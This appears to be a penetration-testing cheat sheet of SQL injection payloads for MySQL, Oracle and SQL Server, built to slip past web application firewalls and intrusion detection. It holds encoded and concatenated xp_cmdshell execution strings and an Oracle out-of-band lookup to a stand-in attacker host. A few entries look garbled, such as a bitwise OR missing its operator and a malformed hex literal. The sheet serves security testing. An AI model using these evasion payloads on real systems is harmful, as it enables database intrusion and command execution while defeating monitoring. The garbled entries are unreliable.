Obfuscating queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). Below are examples of basic query obfuscations, they may require modification before being applied to certain injections.
| Description | Query |
|---|---|
| ASCII > Char | SELECT char(65) |
| Char > ASCII | SELECT ascii('A') |
| Hex | SELECT 0x4A414B45 |
| Hex > Int | SELECT 0x20 + 0x40 |
| Unhex/hex | unhex(hex(user())) |
| Bitwise AND | SELECT 6 & 2 |
| Bitwise OR | SELECT 6 |
| Bitwise Negation | SELECT ~6 |
| Bitwise XOR | SELECT 6 ^ 2 |
| Right Shift | SELECT 6>>2 |
| Left Shift | SELECT 6<<2 |
| Substring | SELECT substr('abcd', 3, 2) substr(string, index, length) |
| Casting | SELECT cast('1' AS unsigned integer) SELECT cast('123' AS char) |
| Concatenation | SELECT concat('net','spi') SELECT 'n' 'et' 'spi' |
| No Quotes | SELECT CONCAT(CHAR(74),CHAR(65),CHAR(75),CHAR(69)) |
| Block comment | SELECT/*block comment*/"test" |
| Single line comment | SELECT 1 -- comments out rest of line SELECT 1 # comments out rest of line SELECT 1 --+ - Comments out rest of the line SELECT 1 --+- - Comments out rest of the line SELECT 1 -- - - Comments out rest of the line SELECT 1 %00 - Comments out rest of the line |
| In-line comment | SEL/*_*/ECT * FR/*_*/OM |
| No Spaces | SELECT(username)FROM(USERS)WHERE(username='netspi') |
| Allowed Whitespaces | 09, 0A, 0B, 0C, 0D, A0, 20 |
| URL Encode | SELECT%20%2A%20FROM%20USERS |
| Double URL Encode | SELECT%2520%2A%2520FROM%2520USERS |
| Invalid Percent Encode | %SEL%ECT * F%R%OM U%S%ERS |
| character obfuscation | SeLeCt * FrOm |
Further reading here
Obfuscating queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). Below are examples of basic query obfuscations, they may require modification before being applied to certain injections.
| Description | Query |
|---|---|
| ASCII > Char | SELECT char(65) from dual |
| Char > ASCII | SELECT ascii('A') from dual |
| Bitwise AND | SELECT 6 & 2 from dual |
| Bitwise OR | SELECT 6 from dual |
| Bitwise Negation | SELECT ~6 from dual |
| Bitwise XOR | SELECT 6 ^ 2 from dual |
| Select Nth Char | SELECT substr('abcd', 3, 1) FROM dual; -- Returns 3rd charcter, 'c' |
| Substring | SELECT substr('abcd', 3, 2) from dual substr(string, index, length) |
| Casting | select CAST(12 AS CHAR(32)) from dual |
| Concatenation | SELECT concat('net','spi') from dual |
| Comments | SELECT 1 FROM dual -- comment |
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- Returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- Returns 2 |
| Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; (Requires Privileges) SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- Returns 9th row |
| Bitwise AND | SELECT bitand(6,2) FROM dual; -- Returns 2 SELECT bitand(6,1) FROM dual; -- Returns 0 |
| String Concatenation | SELECT 'A' || 'B' FROM dual; -- Returns AB |
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; -- Returns AB |
| Hex Encoding | SELECT 0x75736572 FROM dual; |
Obfuscating queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). Below are examples of basic query obfuscations, they may require modification before being applied to certain injections.
| Description | Query |
|---|---|
| ASCII > Char | SELECT char(65) |
| Char > ASCII | SELECT ascii('A') |
| Hex > Int | SELECT 0x20 + 0x40 |
| Bitwise AND | SELECT 6 & 2 |
| Bitwise OR | SELECT 6 |
| Bitwise Negation | SELECT ~6 |
| Bitwise XOR | SELECT 6 ^ 2 |
| Substring | SELECT substring('abcd', 3, 2) substring(string, index, length) |
| Casting | SELECT cast('1' AS unsigned integer) SELECT cast('123' AS char) |
| Concatenation | SELECT concat('net','spi') |
| Comments | SELECT 1 --comment SELECT/*comment*/1 |
| Avoiding Quotes | SELECT char(65)+char(66) -- returns AB |
| Avoid semicolon with %0d | %0dwaitfor+delay+'0:0:10'-- |
| Bypass Case Filtering | EXEC xP_cMdsheLL 'dir'; |
| Avoid Spaces - With Comments | EXEC/**/xp_cmdshell/**/'dir';-- ';ex/**/ec xp_cmds/**/hell 'dir'; |
| Avoid Query Detection - with concatenation | DECLARE @cmd as varchar(3000);SET @cmd = 'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+'/**/'+""+'d'+'i'+'r'+"";exec(@cmd); |
| Avoid Query Detection - Char Encoding | DECLARE @cmd as varchar(3000);SET @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd); |
| Avoid Query Detection - Base64 Encoding | DECLARE @data varchar(max), @XmlData xml;SET @data = 'ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn';SET @XmlData = CAST('' + @data + '' as xml);SET @data = CONVERT(varchar(max), @XmlData.value('(data)[1]', 'varbinary(max)'));exec (@data); |
| Avoid Query Detection - Nchar Encoding | DECLARE @cmd as nvarchar(3000);SET @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+nchar(101)+nchar(114)+nchar(46)+nchar(46)+nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)+nchar(100)+nchar(115)+nchar(104)+nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)+nchar(105)+nchar(114)+nchar(39)+nchar(59));EXEC(@cmd); |
| Avoid Query Detection - Binary Encoded ASCII + CAST | DECLARE @cmd as varchar(MAX);SET @cmd = cast(0x78705F636D647368656C6C202764697227 as varchar(MAX));exec(@cmd); |
| Avoid Query Detection - Binary Encoded ASCII + CONVERT | DECLARE @cmd as varchar(MAX);SET @cmd = convert(varchar(MAX),0x78705F636D647368656C6C202764697227);exec(@cmd); |
| Avoid Query Detection - varbinary(MAX) | DECLARE @cmd as varchar(MAX);SET @cmd = convert(varchar(0),0x78705F636D647368656C6C202764697227);exec(@cmd); |
| Avoid EXEC() - sp_sqlexec | DECLARE @cmd as varchar(3000);SET @cmd = convert(varchar(0),0×78705F636D647368656C6C202764697227);exec sp_sqlexec @cmd; |
| Execute xp_cmdshell 'dir' | DECLARE @tmp as varchar(MAX); SET @tmp = char(88)+char(80)+char(95)+char(67)+char(77)+ char(68)+char(83)+char(72)+char(69)+char(76)+char(76); exec @tmp 'dir'; |
© 2024 Copyright by NetSPI. All rights reserved.